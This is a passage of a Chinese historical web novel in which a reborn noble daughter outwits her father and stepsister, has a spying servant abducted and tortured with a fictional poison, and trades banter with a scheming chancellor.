门外,荣安堂的粗使丫头香凝到门口来报。 宋南絮微蹙眉:“只有父亲和母亲么?” 香凝:“二……” 她微一抬头,忽对上了宋南絮投来的冷然视线,倏然闭上了嘴巴,只略一思忖,改口道:“悠然居那位也来了。” 荣安堂内皆是跟了老太太大半辈子的老人,自是将老太太的心思看得透彻。 阖府之中谁人不知老太太不喜宋涵烟,自打她入府以来,老太太更是不准她踏进荣安堂半步。 然而—— 香凝刚刚却是险些脱口说走了嘴。 宋南絮半眯着眸子,深琥珀色的瞳眸,在香凝的身上扫了扫。 须臾,她冷然一笑,淡淡开口:“老太太睡下了,让他们改日再来吧。” 香凝:“这……” 李嬷嬷倏地冷下了脸:“没听见姑娘的话么?还不去回了侯爷和夫人……” “丫头年纪还小,嬷嬷和一个丫头置气做什么?” 李嬷嬷话音未落,门外倏地传来了宋萧然的声音。 只是须臾,众人便见宋萧然和崔氏带着宋涵烟走近了荣安堂。 宋南絮立即起身,屈膝施了一礼:“女儿见过父亲、母亲。” 宋萧然神情淡漠地瞥了她一眼,笑容不达眼底:“絮儿还真是越来越有侯府千金的威严了!” 说话间,他眸色倏地冷了下来,声音也比之刚刚冷了几分:“我竟不知道,如今我这个做父亲能否来看望你祖母,还需要经过你的允许了!!” 宋南絮垂眸敛吸。 她没想到宋萧然竟会来的这么快。 由此可见,这荣安堂内的确是有他的眼睛,只是她不知道眼睛是一双还是有更多。 宋南絮缓抬睫眸,脸上却带着一抹谦和自持的微笑:“父亲说得哪里话,女儿只不过是实事求是罢了。” “哼!”宋萧然冷哼一声:“好一个实事求是!” 李嬷嬷哪里见得了自家姑娘受这种委屈,当即开口道:“侯爷,姑娘说得的确不假,老太太的确已经睡下了。” 宋萧然微挑了一下眉,似有怀疑地望着李嬷嬷:“当真?” 李嬷嬷颔首道:“老奴自是不敢欺骗侯爷。” 闻言,宋萧然的脸色这才稍稍地缓和了几分,神情淡漠地瞥了一眼宋南絮:“那便起来吧。” 宋南絮站了起来。 目光淡然而凉薄地掠过了崔氏和宋涵烟。 对上了宋涵烟的目光时,宋南絮在她的眼中看见了狡黠与得意。 她快速收敛了目光,转头看向了宋萧然道:“父亲,您怎么这个时辰来了?” 才刚过了早膳的时辰,按理说这个时间宋萧然应该还在朝堂上才对。 宋萧然淡淡道:“今日告了假,听闻你请了外头的大夫来给你祖母瞧病,所以特意来看看。” 宋南絮带夏侯博入府人人都瞧见的。 她也知道瞒不住宋萧然的眼睛,所以也没打算隐瞒:“四知堂的葛大夫给祖母看了这么久的病,祖母仍不见好转,女儿在庵堂时恰巧偶然结实了一名大夫,特意请他来给老太太瞧瞧。” 宋萧然还未开口,站在宋南絮身侧的宋涵烟却先说了话:“长姐,你这么做可将父亲置于何地啊?” 宋南絮转头看着她:“妹妹这是什么意思?” 宋涵烟笑了笑,装出了一副乖巧关切的模样:“长姐才刚回府,就请了外头的大夫来给祖母瞧病,这不是变着法的告诉外人,父亲不重视祖母的身体么? 长姐,你请大夫之前应该先问问父亲才是,如此才不会陷父亲于不义。” 第49章 顾虑周全,自食其果 孝道!不义? 在宋南絮看来不过是宋萧然伪善面具下的谎言。 她被送往普照庵五年,倘若他真有半分孝顺,又怎会阻止祖母去看望,甚至,他还不惜余力地将祖母困顿在这个四方的院落之中。 恨!怨! 在这一瞬间涌上了宋南絮的心头。 只是却不达她的眼底,她的脸上始终挂着温温柔柔的微笑。 举步上前,微微欠身,宋南絮缓缓地抬起了眸子,一双深琥珀色的瞳,一错不错地盯着宋萧然的眼睛:“父亲,女儿此举,正是为全了您的孝义。” “哦?呵!是么?” 宋萧然意味深长地看着宋南絮:“那你倒是说说,你如何成全的为父?” 宋南絮目光坚毅,面对宋萧然冷肃的目光时没有丝毫的退缩避让:“女儿在深闺之中,尚可听闻四知堂的葛大夫得了疯病,想必父亲比我更要知道其中详细。 祖母的身子一直都是四知堂给瞧的,如今整个金陵城中人尽皆知,那小葛大夫是个疯子,有头脸的人家无不想尽一切法子宴请名医。” 她说到了这里微微一顿,仔细观察宋萧然脸上的表情。 近来,安远侯府内外发生的事情让宋萧然应接不暇,现下,只怕一门心思都系在了要如何与姜太师搞好关系更为要紧,他自无心在意此等‘小事’。 棋之对弈,在于预见未来。 宋南絮走一步算三步,早就为此做好了打算。 老太太的病情如何宋萧然了然于心,他又怎么会不知道四知堂无用,若是真心孝顺祖母,只怕早就请宫中太医为祖母诊治,绝不可能放任祖母病入膏肓。 就连宋昭伤重,他都能立即请来赵太医,可祖母呢?! 呵! 宋南絮心中冷笑。 生身母亲在宋萧然的心里却不及一个嗣子。 说来实在是可笑。 宋南絮眉眼间有了笑意,微笑继续说道:“女儿大张旗鼓的为祖母请来名医,便是要让所有人都知道,这是父亲的孝义,父亲您想想是不是这个理儿?” 闻言,宋萧然的脸色稍有好转。 他略一沉吟,面子上渐渐有了笑意,微微颔了颔首:“絮儿思虑周到,倒是为父疏忽了。” “父亲心系府中大事,为家族谋划,女儿只恨自己不是男儿身,不能够为父亲分忧解难,只能周全内宅小事,也是女儿顾虑不周,未能将这其中关系告诉妹妹,才会让妹妹……” 话未说全,却已然表达了其中全意。 宋南絮先是给宋萧然戴了一顶高帽,然后再将宋涵烟射出的一箭还给她。 她垂眸低睫,轻抿朱唇,缓缓卷起了帕子,看似轻拭眼泪,好一副忍屈含悲的模样,真是叫人瞧了无不心疼的。 宋萧然再怎么说是她的亲爹,再加上宋南絮刚刚的言论,这会子再看她也只觉得她思虑周全,反而是宋涵烟,昨儿听说她为老太太请了大夫,便跑到了自己这里告状。 两相对比之下—— 宋萧然再看宋涵烟时,不禁沉了几分脸色:“烟儿,此事是你错过了你长姐,还不赶紧给你长姐赔个不是。” 宋涵烟在得知荣安堂消息后,哪有时间思虑这些,第一时间去找了宋萧然,却不曾想,此举却是搬起了石头砸了自己的脚。 没能让父亲训斥宋南絮不说,反而还让父亲责怪了自己考虑不周全。 她恶狠狠地剜了宋南絮一眼。 只是一瞬,宋涵烟便敛去了眼底的怨毒,面上挂起了谦卑柔和的笑。 她径直走到了宋南絮的面前,撩起了裙摆,屈膝施了一礼:“还望长姐见谅,妹妹也是怕外人谣传父亲不重孝道,才未能思虑周全。” 宋南絮站在那里,受了宋涵烟这一拜。 随后才缓而慢地伸手搀扶,微笑道:“妹妹说的那里话,你是为了父亲考虑,若我责怪妹妹,岂不是说——” 她下意识抬眸,淡淡看了宋萧然一眼。 见宋萧然沉了眼色,宋南絮唇畔笑意渐浓。 宋涵烟没想到,自己射出的冷箭,竟然会被宋南絮反射了回来。 她暗暗咬了咬牙,脸上却还要强撑着笑意:“长姐说得是。” 宋南絮拍了拍宋涵烟的手:“父亲最重视孝悌,现下我请来的这位大夫说可将祖母的病症治愈,妹妹应该为祖母高兴才是,稍后等祖母睡醒,我好带着妹妹去拜见祖母。” 阖府之中谁不知道严氏不待见宋涵烟。 自她入府以来,别说是拜见了,但凡有人在老太太面前提起宋涵烟都会惹她不快。 宋南絮这话自然是说给宋萧然听的。 以她对宋萧然的了解,一个孝悌的高帽扣下来,眼下自然是‘孝顺’二字最为重要。 当即就听宋萧然轻咳了一声,对宋涵烟说道:“涵烟啊,你是知道你祖母的脾气了,以免你祖母瞧见了你会不高兴,你先回去吧。” “父亲——” 宋涵烟还想要说什么,却见宋萧然朝自己挥了挥手。 她是聪明人,自然知道多说无益这个道理。 当即,宋涵烟屈膝道:“是,父亲、母亲,女儿先行告退。” 只是,当她经过宋南絮面前时,目光凌厉如刀,深深地剜了她一眼。 宋南絮像是没看见似的,微微一笑道:“妹妹一路好走。” 宋涵烟将后槽牙咬得“咯咯”直响:“谢姐姐提点。” 她满肚子火气无从发泄,脚步极快地走出了荣安堂。 外间的声音,还是吵醒了严氏,她轻咳了两声,一行人连忙进了里间。 宋萧然和崔氏给严氏见了礼:“儿子、儿媳给母亲请安。” “哼!”严氏冷哼了一声,白了二人一眼,冷冷道:“你们方才的话老婆子我听得真切,既说是请安,闹了这么一出,何来安字一说!” “母亲息怒。” 严氏不愿意看见他们,扬了扬手里的帕子:“你们若是盼着我能多活两日,往后就少来我眼前晃悠,我瞧见你们就心烦。” 说着,她朝着宋南絮招了招手:“絮丫头,到祖母身边来。” 宋南絮走了过去。 严氏拉着她的手,轻轻地抚了抚道:“好孩子,让你受委屈了,你老子、娘是被猪油蒙了心窍,往后若是受了委屈就来告诉祖母,祖母替你收拾他们!” 第50章 一种秘药,腐蚀内脏 宋萧然和崔氏在老太太这里闹了个没脸,白白挨了一顿训斥后被赶出了荣安堂,宋南絮留下来伺候了老太太用了午膳后才离开。 走出了主屋,远远地瞧见了香凝站在廊下和秋莲说着话。 香凝时不时地朝主屋房间瞥上一眼,而后凑到秋莲耳畔咕哝几句。 她看见了宋南絮走出来时,立刻向后倒退了两步,看似寻常二人寻常攀谈一般。 见到宋南絮朝这边走来,二人齐齐地朝她施礼。 宋南絮微笑颔首,只轻轻抬了抬手:“秋莲姐姐无需多礼。” 秋莲并非奴籍,准确来说她也并非是侯府中人,按理是可以不向宋南絮行礼的。 宋南絮免了她的礼,拉过了她的手,和煦莞尔道:“先前听祖母说起,我不在府中的这五年,多亏了有姐姐在祖母她老人家身边照顾,我真是不知要如何感谢姐姐才是。” “姑娘言重了。”秋莲笑容满满:“我祖父在世时,经常和我说起严家军的事,我心生向往,如今能侍奉在老太太身边是我的福气。” 宋南絮故作第一次听闻此事:“你家原是我外祖家臣么?” 秋莲颔了颔首道:“我的祖父乃是当年追随将军的副将。” 宋南絮点了点头,微笑道:“原来如此,难怪我瞧着姐姐有几分英姿。” “姑娘说笑了。” 宋南絮握着她的手,目光诚恳,满眼感激:“若姐姐不嫌弃,可时常到墨香居坐坐,也好和我说说严家军的事,我时常自叹身为女儿身不能上阵杀敌,建功立业。” “一定,一定。” 宋南絮收回了手,笑笑:“那边这么说定了,姐姐可一定要到墨香居寻我。我就不打扰姐姐了。” 秋莲回以温和微笑:“姑娘慢走。” 出了荣安堂,宋南絮倏然驻足,侧目朝着廊下看去。 她和秋莲的目光触及后,快速回过头,只一瞬,宋南絮瞬时冷下了脸。 侧目看向了身侧的青雀,轻声问道:“可有瞧出什么吗?” 青雀颔首道:“此女轻功不俗。” “呵!”宋南絮冷然一笑。 她刚刚牵起秋莲手时,便在她虎口与食指间摸到了茧子。 宋南絮虽然未习过武,但自幼跟在严氏的身边,多少也了解过一二,秋莲手指上的老茧分明就是常年握剑所制。 她神情冷肃地又问:“她和你又当比如何?” 青雀如实回道:“那要比过了才能知晓。” 宋南絮勾起了唇角:“今晚便给你这个机会和她比上一比,金陵城郊外五里有一处破庙,若能缉拿将人带到那里去见我。” 刑讯逼供的事,自然是不能在安远侯府里做。 特别是秋莲还并非是府中奴仆。 青雀点点头:“奴婢明白。” 再过几日便是老太太寿辰,宋萧然原本想要借此机会向外人宣布在庵堂中为老夫人祈福的女儿归来。 又出了宋昭之事,安远侯府既失了圣上天颜,又开罪了萧止,眼下又与太师府发生了冲突,宋萧然便有一切从简的打算。 但,今日在荣安堂,宋南絮的一句话提醒了他。 一切皆以孝悌为先。 本朝以孝治天下,宋萧然便想着打着严氏的名义可以对宫中试探一二,也可以借此机会试探萧止,顺便请来姜家人缓和一下两家的关系。 渐渐,安远侯府开始忙碌了起来。 府中的丫鬟们,像是穿梭在花丛中的蜜蜂,四处洒扫,装点。 是夜,宋南絮早早屏退了左右,插上了房门,进入密室,从另一侧通道直达萧止的‘飘絮庐’。 小院中安静非常,宋南絮并未在这里见到萧止。 直接推开了门,走出小院后,上了早已经准备在外的马车,亲自驾驶马车前往金陵城外的破庙。 来到破庙时,青雀已经等候多时了。 听见了破庙外的车轮声,青雀立即走了出来,见宋南絮下了马车,她恭敬地唤了一声:“姑娘。” 宋南絮微一挑眉,唇角微微上扬,牵出了一抹好看的弧度。 自青雀离开到自己来到破庙,前后不过一个时辰,宋南絮从头到脚看了青雀一遍,见她发丝都不曾乱,便知秋莲的武功也不过尔尔。 宋南絮扶着青雀的手往破庙里走:“可有被人发现?” 青雀道:“姑娘放心,不曾惊动荣安堂任何人。” 宋南絮满意地颔了颔首。 走近了破庙中,一股子霉味扑面而来,宋南絮微微蹙了蹙眉,抬手挥散了面前的烟尘,这才瞧见了柱子上绑着的秋莲。 她径直地走了过去,冷肃的目光一瞬不瞬地盯着秋莲的脸:“弄醒她。” 青雀从腰间拿出了一个白玉瓷瓶,打开了瓶盖,将瓷瓶在秋莲的鼻端下轻轻地晃了晃。 “咳咳咳……” 秋莲猛地一阵咳嗽,随即猛然睁开了眼。 模糊的视线逐渐变得清晰,当她看见面前站着的人时,瞳孔骤然一缩,全然一副不可置信的模样:“你……” 只是一瞬,秋莲迅速反应过来,装作困惑不解,满眼惊恐地看着宋南絮:“姑……姑娘,秋莲不知做错了什么?你将我绑到这里来作甚?” 宋南絮懒得和她废话,直接开门见山地说道:“为什么将你绑到这里,难道你自己会不知道么? 我没工夫和你浪费时间,只想要知道,是何人指示你潜伏到我祖母身边? 你若如实说来也可以少受点皮肉之苦。” “你……你还要对我用刑?”秋莲猛然瞪大了眼睛,声音也变得尖锐了起来:“姑娘,我乃是良籍,你对我一个良民用刑,可是要坐罪的!” “呵!”宋南絮冷然一笑:“坐罪?” 她满眼的讥讽与不屑,并未和她废话,而是将目光落在了青雀的身上:“有什么法子能够尽快撬开她的嘴巴。” 青雀微一点头,说道:“奴婢有一种秘药,服用之人可从内脏开始腐蚀,期间她的头脑会异常清醒,痛苦翻倍。” 宋南絮将素手伸到了青雀的面前。 青雀从腰间荷包种拿出了一个黑色瓷瓶交到了宋南絮的手上。 宋南絮冷凝着秋莲,对青雀吩咐道:“掰开她的嘴巴!” 第51章 如疯似狂,痛苦非常 惊恐伴随着慌张,使秋莲的瞳孔在眼眶之中不断瑟缩,她不敢相信这样的话竟然会是从一个深闺之中的千金小姐的口中说出来的。 眼看着青雀朝自己越走越近,秋莲的心越发慌张的厉害。 不知道为什么,她看着宋南絮的眼神便知道她不似做假。 但—— 秋莲知道一定自己开了这个口,下场绝对比肠穿肚烂而亡还要更加痛苦百倍、千倍、万倍。 她不能说! 死死的咬着牙关,死活不开口。 青雀冷然一笑。 面对这样的人,她有的是办法! 倏地一拳,又快有狠地砸在了秋莲的小肚子上。 “啊!”秋凉吃痛惊呼出声。 青雀眼疾手快,在她呼喊出声的一瞬间,捏住了她的双颊,迫使着她张开了嘴巴。 与此同时,宋南絮从黑色瓷瓶之中倒出了一粒黑褐色的丹丸,直接塞进了秋莲的嘴里,青雀只稍稍向上抬了一下手,那粒丹丸顺着她的嗓子滑进了她的胃里。 宋南絮抽出了帕子擦了擦手上并不存在的污秽,神情淡漠地看着青雀:“这秘药需要多长时间能够起效?” 青雀道:“只需一盏茶的工夫,她便会腹痛如绞。” 宋南絮冷冷扫过秋莲的脸,哂笑道:“我再给你一盏茶的时间。” 秋莲死死地咬着唇,眼中已渗出了泪来:“宋南絮,你身为侯府千金,就不怕今晚之事会被人知道么?” “呵!” 宋南絮冷笑,半眯着眼睛睨视着秋莲:“今天你死在这里也不会有人知晓。” 秋莲还在做垂死挣扎:“我是老夫人的人,如若老夫人追究起来,我看你如何向她交代,残害昔日严家军旧部,倘若……” “严家军旧部?” 提及曾外祖的严家军,宋南絮的眸色更加深了两分。 她半张侧脸被月光镀上了一层浅薄的皎月色,另外半张脸隐藏在黑暗之中,越发衬得宋南絮身上有一股煞气。 “严家军各个忠烈,骁勇,岂会有人贪生怕死! 即便你当真是那位姓冷的副将遗孤,按严家军的军规,那名贪生怕死的冷副将也会按军规杖毙!” 宋南絮勾起了唇角,笑容好似危险又迷人的罂粟:“你当真觉得我将你掳了来,老太太那里我没有法子交代是么? 我可以告诉你,从你被绑走那一瞬开始,你已经是假冒严家军遗孤之名,盗窃荣安堂财务的贼人。 即便老太太再想起你,往后的心里也只有对你冒充严家军的恨!” “你若不说,便在这里……” 宋南絮的话还未说完,只见绑在柱子上的秋莲身体猛地抽搐了起来。 紧接着,她全身上下的每一块肌肉开始剧烈的收缩,身体开始扭曲,头脚卷曲,如同牵机一般。 宋南絮知道宫中有一种剧毒名为牵机药,服用之后便会有此等效果,但并不会从内脏开始出现腐蚀的现象。 她看向了青雀,似是在等着她的答案。 青雀会意,解释道:“此药中有经过提炼的马钱子,中毒之后与牵机药有同一作用。” 宋南絮微微颔首:“如此甚好。” “给她松绑!” 宋南絮就安静静地站在那里,看着地上不断痛苦呻吟,哀嚎,直到最后变为惨叫的秋莲。 秋莲双手不断地抓着自己的胸口,那里像是有什么东西要钻出来了似的,扯破了衣裳,拽烂了肚兜,颀长尖锐的指甲开始用力地抓着皮肤,直到鲜血淋漓。 而后,她开始疯了似的扯着自己的头发,像是要将青丝全部扯下来似的。 如封似狂,痛苦非常。 答案对于宋南絮来说的确重要,但她也知道不一定能从秋莲的嘴里问出来什么,与其刑讯逼供,不如让她尝遍痛苦。 谁让她害了自己最珍重的祖母。 秋莲!死不足惜! “姑娘……啊……疼死我了,求你……求你给我一个痛快……求你……” 宋南絮缓缓地俯下了身子,一双澄澈而明亮的眸子像是一个不谙世事的小女孩半纯净,然而,她说出口的话却是那么的冰冷、无情:“机会我给过你了,是你自己不想要而已,你怪不得我。” “我说……我说……” 秋莲实在是承受不住这种痛苦,她宁愿让宋南絮直接杀了她! “我是……我是丞相府的人!” 丞相府?! 这三个字一出,青雀下意识地眯起了眼睛,一股杀意凛然而出。 同时,宋南絮也不可置信地看着地上的秋莲。 萧止?! 倘若宋南絮不曾结实萧止之前,定然会相信秋莲的话。 但现在—— 宋南絮相信萧止,他绝不会用这么迂回的法子来害祖母,如若不然,他在救下了夏侯博后,也不会将人送还给自己。 秋莲的话—— 要么,她是根本不知道指使她的人是谁。 要么,就是有人在伪装萧止在做这一切。 正如普照庵经营的肮脏勾当,打的也是萧止的旗号。 这位权倾朝野的奸相—— 呵!宋南絮冷然一笑,看来干过的坏事也不全是真的。 眸色微敛,宋南絮知道自己是问不出什么了,她淡淡地开了口,对青雀道:“咱们走吧。” 秋莲猛地瞪大了双眼:“姑娘……求你给我一个痛快!” 痛快? 宋南絮走到了破庙的门口,锐利的目光好似一把淬了毒的刀:“给你痛快,那不是便宜你了么。” 来时,宋南絮亲自驾驶马车,回去的时候,便由青雀驾车。 马车停止在了飘絮庐院门前,青雀掀开了车帘:“姑娘,咱们到了。” 宋南絮走下了马车,推开了院门,一股子朝露凝香的芳香缥缈而来,紧接着,主屋内传来了萧止好听的声音:“更深露重,小娘子莫不是来私会情郎的吧?小娘子要不要进房与在下……” “哎呦!” 萧止没正经的调戏还没说完,脑门不偏不倚地被一个石子打中。 以他的身手,宋南絮投出的石子怎么会躲不开,她知道这男人是故意挨着一下,好—— 下一瞬,她便见着萧止一脸委屈模样从主屋中走了出来:“你这小没良心的,我帮你救人,又帮你调制朝露凝香,就换来你用石子砸我的头?” 第52章 肮脏污水,我自不惧 萧止用手中折扇撩开了门前垂坠的珠帘,撩开额间碎发,露出了被石子打红的额头,一脸委屈地眨了眨眼。 “呵!” 宋南絮瞧他的样子忍不住笑出了声:“倘若外人知道权倾朝野的奸佞萧相,竟是这般一副月坊小倌儿做派,岂不是被人笑掉大牙。” 萧止挑了一下眉:“你竟将本相比作乐坊小倌儿?!” 宋南絮轻飘飘地瞥了一眼他身上的衣裳。 月白色的云锦华服,襟口微微敞开,露出了一片雪白的颈子。 她微微侧目,避开了视线。 萧止却不以为意,径直朝宋南絮走了过去:“明日还要早朝,你瞧瞧我脑门红了一块,你叫我如何见人?” 宋南絮轻笑道:“世人传言相爷荒唐至极,如此又当如何?” “哗啦” 萧止挥开手中折扇,今日扇面倒不是‘我自风流’四个字,而是开成了‘潇洒倜傥’。 宋南絮瞧了去,嘴角忍不住抽动两下,微微蹙眉,推开了面前的折扇:“相爷莫不是冬天也要打扇吧?” 萧止:“这是自然,不然要如何凸显本相的倜傥、潇洒。” “呵呵!”宋南絮实在没忍住笑出了声。 萧止挑眉:“你是在质疑本相的风流倜傥么?” 宋南絮一手以帕掩唇,另一手对萧止摆了摆:“相爷喜欢就好。” 一旁的青雀听着二人的交谈,背脊一阵阵的发寒,只怕全天下也就只有宋南絮敢如此和主人说话了吧! 若是换了一个人—— 青雀忍不住打了一个寒噤! 以主人的脾性,只怕对方的死相定是惨不忍睹。 萧止迎了宋南絮进了主屋,二人对坐,他为宋南絮斟了一盏茶:“尝尝今秋新贡的寿眉。” 宋南絮端起了茶盏,阖了阖盏盖,凑近闻了闻:“茶汤澄澈,茶香轻淡,不亏是《大观茶论》中所记的贡眉。” 萧止笑笑,轻饮一口:“你若喜欢,回去时带走些。” 宋南絮却微微摇了摇头:“此茶极是稀少,即便是我父亲也为得天家赏赐,倘若我房中出现此茶的话,你叫他如何看待。” 萧止却是不以为意:“那还不简单,左右你兄长承接了我相府的赏赐,不如,我便将此事做大些,也好让安远侯更加焦灼一些,絮儿觉着可好?” ‘絮儿’二字传入了宋南絮的耳廓之中,让她不禁蹙了一下眉。 她竟不知道,他们二人何时变得如此亲密,萧止竟然能够亲密地唤自己的乳名了。 不等宋南絮开口,萧止又道:“我听闻安远侯府老夫人昔日曾随严家军征战滇南一带,那里省产寿眉茶,想必,老夫人定会喜欢。” 提及祖母,宋南絮眸色微变。 她凝眸望着萧止,直言不讳地道:“我今日拿下了暗害我祖母之人,你可想知道究竟是何人在幕后指示她给我祖母下毒?!” 萧止放下了手中茶盏,抬眸望着宋南絮:“愿闻其详。” 宋南絮目光深深,一瞬不瞬地盯着萧止的眼睛,却始终未发一言。 萧止见她模样,心中便明白了一二,他勾起了嘴角,指了指自己的鼻子:“可是我么?” 宋南絮不置可否地颔了颔首。 萧止脸上笑容更甚:“絮儿相信她的话吗?” 宋南絮淡淡道:“倘若我相信的话,你觉得此时此刻,我们还能心平气和地对坐品茗么?” 萧止笑弯了眼睛。 他笑起来极是好看。 好似修炼的千年的男狐狸精,只需一眼,便会深深沦陷在他的笑容之中。 “哎!”萧止叹了一口气,故作一脸委屈地道:“丞相何其难当,不管是谁做了见不得光的事,无论脏的,臭的,但凡东窗事发,都往本相身上栽赃,以至天下人提及本相时,谁人不说一声奸相佞臣。” 他说着,往宋南絮的身边凑了凑,竟想要将头靠在宋南絮的肩上:“丞相难为,本相心里苦。” 宋南絮瞧他一副可怜兮兮的模样。 若非自己见过他伶俐手腕,只怕当真相信了萧止的鬼话。 宋南絮推开了萧止靠过来的头:“少来!” 她站了起来,和萧止拉开了距离,眸色倏地凝重了起来:“你可有查过到底是何人想要将屎盆子扣在你的头上。” 萧止摸了摸自己的头,脸色为难,好似强忍着恶心似的道:“絮儿,你能不能别用‘屎盆子’这个词,本相有洁癖,听不得这些脏字。” 宋南絮白了他一眼:“矫情。” 嘴上虽然这么说,但却还是改了口,重新说了一遍:“你可知是何人在往你身上泼脏水?” 萧止摊开了双臂,无所谓地耸了耸肩:“这天下想要本相性命的人多如牛毛,区区几盆脏水而已,本相还是承受得起。” 宋南絮凝眸:“你当真这般不在意自己的名声?” “名声?呵呵……”萧止笑了起来:“即便没了这两笔,我的名声又能好到哪里去?” 萧止说着站了起来,行至宋南絮身边,笑吟吟,一副毫不在意的模样,说道:“削藩夺权、推崇新政,除外戚干政,这一桩桩一件件,我又何尝——” 何尝不是为国,为这刘家天下,可到头来,他换来了什么?得到了什么? 奸相佞臣如何? 清廉纯臣又如何? 还不是为他人做了嫁衣裳。 即便萧止没说,宋南絮也明白他话中深意。 她并没有继续追问下去。 萧止可以坦然面对泼向自己的肮脏污秽,宋南絮又何尝不是呢。 宋南絮疏淡而锐利的目光隐在黑暗之中,显得她深琥珀色的瞳眸越发深邃:“肮脏污水,流言蜚语,我自是不怕,不惧,我只想要知道隐藏在黑暗之中指示推动的那双手究竟是属于何人!!” “你当真想要彻查?哪怕为此会付出你所不能承担的后果!” 萧止凝眸望着宋南絮,似是在等待着她的回答。 宋南絮缓缓地抬起了头,冷肃,漠然,清冽的双瞳之中从未有过对追求幕后真相的丝毫动摇:“是!即便是粉身碎骨,即便拼了这条命,我也要铲除前路荆棘! 我命由我不由天,更不容忍他人操纵!!” 第53章 乱了心绪,恼了自己 萧止倏然一怔。 恍若从未认识过宋南絮一般,眸光灼灼地望着她。 一瞬,他的眼里燃起了前所未有的光亮。 这女人—— 当真不似寻常的闺阁千金,她的魄力与胆识,即便许多男子见了都会自叹弗如。 渐渐,他眼睛的兴趣变为惊喜。 他很喜欢这样的宋南絮! 萧止有了这个想法时,倏地一惊,他竟被自己这一瞬的想法吓了一跳。 难道自己当真是—— 宋南絮抬眸便见萧止一错不错地看着自己。 他的脸仿若吃罪了酒似的,泛着不正常的绯色。 宋南絮微微蹙眉:“你怎么了?” 萧止被宋南絮的声音扯回了神,他立即转过了身,轻咳了一声:“无碍,许是吹了冷风的缘故。” 宋南絮看着他手中折扇,轻哂一声:“呵!眼瞧天冷了,我劝你还是少打扇的好。” 萧止看了一眼手中折扇,转过身,将折扇合上,扇骨轻地敲了一下宋南絮的额头。 仅一瞬,二人竟然是同时愣在了原地。 这行为举止,着实太过暧昧了! 宋南絮眨了眨缀着颀长睫羽的眸子,立即避开了萧止的视线,撩开了帘子,举步走出了飘絮庐的主屋:“时候不早了,我……我先回去了。” 青雀一直候在门外,瞧见宋南絮走了出来,立即迎了上去:“姑娘……” 她刚要说什么,却瞧见了宋南絮的脸色,眨了眨眼,问道:“您脸怎么这么红?” 宋南絮抬手摸了摸自己的面颊,滚烫的脸好似火烧一般。 她轻咳了两声:“咳咳!可能是夜凉风冷吹着了吧。” 青雀并没有瞧出什么不对之处,随口说道:“奴婢回去给姑娘熬些姜汤暖暖身子。” “不用麻烦了,我睡一晚就好。” 回了墨香居,宋南絮洗漱后躺在绣床上却怎么也无法入睡,只要一闭上眼睛,她总会情不自禁地想到刚刚萧止用折扇敲她额头的画面。 烦躁! 出奇的烦躁! 宋南絮一早醒来,便觉得整个房中看着什么都不顺眼:“发髻歪了,别用这支簪子,给我换那副素银的耳铛……” “彩玉!” 宋南絮将发髻上的嵌红宝的缠金丝华盛种种地掷在妆台上:“你今儿怎么连发髻都梳不好!” 彩玉一脸无辜,眨着大大地眼睛,满是委屈地看着宋南絮:“姑娘恕罪,奴婢这就为姑娘重新上头。” “罢了罢了,我自己来吧。” 重生后,宋南絮的心中只有复仇! 可昨晚,那该死的萧止却乱了她的心! 这是宋南絮绝不可容忍的! 她闭上了眼睛,深吸了一口气,尽量让自己的心绪平稳下来。 片刻后,她睁开了眼睛,恢复了以往的冷肃:“今日,是我心绪不宁,与你无关,你退下吧。” “是。” 彩玉应声,躬身退出了主屋。 宋南絮对着铜镜挽了一个懒懒的垂鬓髻,只簪了一支白玉的簪子,换上了浅碧色的襦裙,早膳没在墨香居用,便直接去了老太太的荣安堂。 翠柳、翠珠分至两侧,为宋南絮掀开了帘子。 宋南絮刚跨过了门槛,便听见了里间传来了老太太带着愤怒的质问:“你们可有调查清楚?此事……此事当真!?” 李嬷嬷劝道:“老太太,咱们已经问了即便了,的确如此!” 宋南絮走近了荣安堂里间,除了李、王、宁、段四位嬷嬷外,其余伺候的仆妇、女使跪了一地。 严氏的脸色涨红,身子略有颤抖,显然是被气得不轻。 她立即走了过去:“祖母,这是怎么了?” 严氏重重叹了一口气,用力地拍了一下身下的床沿:“荣安堂里闹了贼了!” 宋南絮故作疑惑与诧异,不可置信般地瞪大了眼睛,紧张地握住了严氏的手:“怎么会出了这种事情?祖母!可有吓着您么?” 严氏连连叹气,摇头:“别忘了,你祖母可是将门之女,这点子小事还不足为据,只是……” 宋南絮能够看出来,祖母是伤心更多。 李嬷嬷连忙上前,按照宋南絮所教她的话说:“是老太太的秋莲,听底下的小丫头说,秋莲与四喜班的一个戏子好上了,她盗窃了荣安堂不少财物和那戏子私奔了!” “秋莲姐姐和四喜班的戏子私奔了?!” 老太太脸色又沉了几分,眼里满是失望之色:“先前,你李嬷嬷说秋莲和那戏子眉来眼去的,我还不信,我当真是老糊涂了,竟然养出着这样的姑娘来!” 她一边说,一边连着拍了几下炕沿:“没想到……真是没想到啊!” 宋南絮拉起了严氏的手,呵了一口气,轻轻地揉了揉:“祖母,莫要为此气坏了自己的身子。” 她抬眸看向李嬷嬷:“这事可有查问清楚?可别冤枉了秋莲姐姐才是。” 李嬷嬷颔了颔首:“已经彻查清楚了,就是咱们院子里的香凝给他们二人打的掩护,盼芙已经连夜审了香凝,香凝对此事已经供认不讳,说……说……” 她故作为难,没有继续说下去。 严氏接过了话,继续道:“你王嬷嬷审讯的手段当年在是军营里练就出来的,香凝那丫头已经供认不讳,秋莲怀了那戏子的孩子,俩人昨夜子时出的金陵城。” 宋南絮:“那可要派人去寻?” 严氏摆了摆手:“罢了罢了,丢失的这些物件儿,全当做是我给她的嫁妆吧。” 秋莲是在宋南絮被送走后才来的荣安堂,五年的光景,也多亏了她在老太太的身边时常陪着说话,多多少少缓解了她对宋南絮的思念之情。 严氏本想着给她找一户好人家,再陪上一大笔丰厚的嫁妆,只是没想到,秋莲竟然干出了这么没脸的事。 严氏乃是系出名门,镇北大将军府规矩如军规一般,老太太也最厌恶不守规矩的姑娘,宋南絮深知这一点,便联合了四个嬷嬷,做出了秋莲与戏子私奔的戏码,如此一来,老太太也只会气愤一阵,而不会伤心太久。 王嬷嬷上前问道:“老太太,那香凝您看要如何处置?” 严氏瞪了王嬷嬷一眼:“你真是越老越糊涂了,这点子小事还要来问我,找个人牙子将她打发出去。” 她瞥了一眼屋里跪了一地的仆妇、女使:“你们丢了什么,自当去李嬷嬷那里让她补给你们,打今儿起,莫要在让我从你们口中听见秋莲这两个字!” 第54章 济世堂,颜大夫 除掉了一个秋莲,捎带脚发卖一个香凝,如此荣安堂内的钉子也算是拔干净了。 